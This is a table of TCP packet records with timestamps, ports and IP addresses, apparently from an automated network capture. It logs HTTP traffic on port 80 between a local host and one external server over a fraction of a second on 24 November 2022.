Nov 24, 2022 16:57:36.749353886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749366045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749372959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749386072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749391079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749398947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749409914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749420881 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749428988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749434948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749448061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749449015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749461889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749466896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749491930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749504089 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.757776022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.757930040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766259909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766292095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766355991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766377926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766385078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766405106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766422987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766431093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766448021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766459942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766719103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766765118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766778946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766808987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766807079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766860008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766863108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766904116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.766962051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.766999006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767009974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767038107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767047882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767077923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767086029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767122030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767128944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767160892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767170906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767199993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767205954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767236948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767246008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767287016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767505884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767550945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767559052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767590046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767596960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767637014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767679930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767718077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767724991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767755985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767762899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767795086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767802000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767831087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767851114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767888069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767889023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767935038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767935991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.767982006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.767985106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768028975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768033028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768084049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768089056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768131971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768136978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768182993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768183947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768229961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768239021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768274069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768287897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768301964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768316031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768332005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768347979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768361092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768376112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768390894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768404007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768419981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768435955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768449068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768462896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768479109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768491030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768507004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768522024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768536091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768548965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768565893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768585920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768594980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768608093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768624067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768640995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768654108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768667936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768685102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768699884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768714905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768728971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768744946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768763065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768774033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768791914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768800974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768815994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768831015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768846035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768862009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768876076 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768889904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768904924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768918991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768930912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768949032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768960953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.768980980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.768996000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769009113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769021988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769037962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769052982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769067049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769082069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769099951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769125938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769126892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769140959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769159079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769182920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769188881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769196987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769217968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769232988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769248009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769258022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769275904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769292116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769304037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769319057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769332886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769347906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769361019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769376040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769387960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769411087 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769418955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769443035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769464970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769475937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769475937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769488096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769501925 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769501925 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769512892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769526958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769536018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769555092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769557953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769572020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769582033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769601107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769604921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769627094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769633055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769648075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769649029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769671917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769675016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769690990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769695997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769716024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769718885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769737005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769742966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769761086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769767046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769784927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769789934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769809008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769813061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769834995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769834995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769851923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769857883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769877911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769881964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769903898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769903898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769927025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769927025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769948959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769953012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769968987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769975901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.769994974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.769999027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770020962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770021915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770037889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770045996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770065069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770067930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770081997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770092010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770107985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770116091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770133972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770140886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770157099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770164013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770181894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770186901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770206928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770216942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770240068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770242929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770256996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770263910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770283937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770286083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770308018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770308971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770327091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770333052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770349979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770356894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770374060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770380974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770399094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770404100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770421982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770428896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770446062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770452976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770473003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770477057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770495892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770502090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770519972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770525932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770543098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770549059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770566940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770572901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770591021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770596027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770616055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770618916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770639896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770643950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770663977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770667076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770684004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770690918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770713091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770718098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770734072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770735025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770752907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770759106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770776987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770781040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770800114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770804882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770824909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770831108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770848036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770853996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770872116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770875931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770901918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770914078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770931959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770936012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770952940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770960093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770979881 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.770982027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.770999908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771004915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771027088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771027088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771044970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771049976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771069050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771073103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771086931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771096945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771115065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771119118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771137953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771143913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771163940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771167040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771183968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771190882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771210909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771214962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771229982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771239042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771260023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771260977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771275043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771282911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771302938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771305084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771321058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771328926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771351099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771356106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771373034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771374941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771394968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771399975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771420002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771425962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771440983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771442890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771466970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771466970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771492004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771493912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771508932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771514893 CET	80	49713	66.235.200.147	192.168.2.3
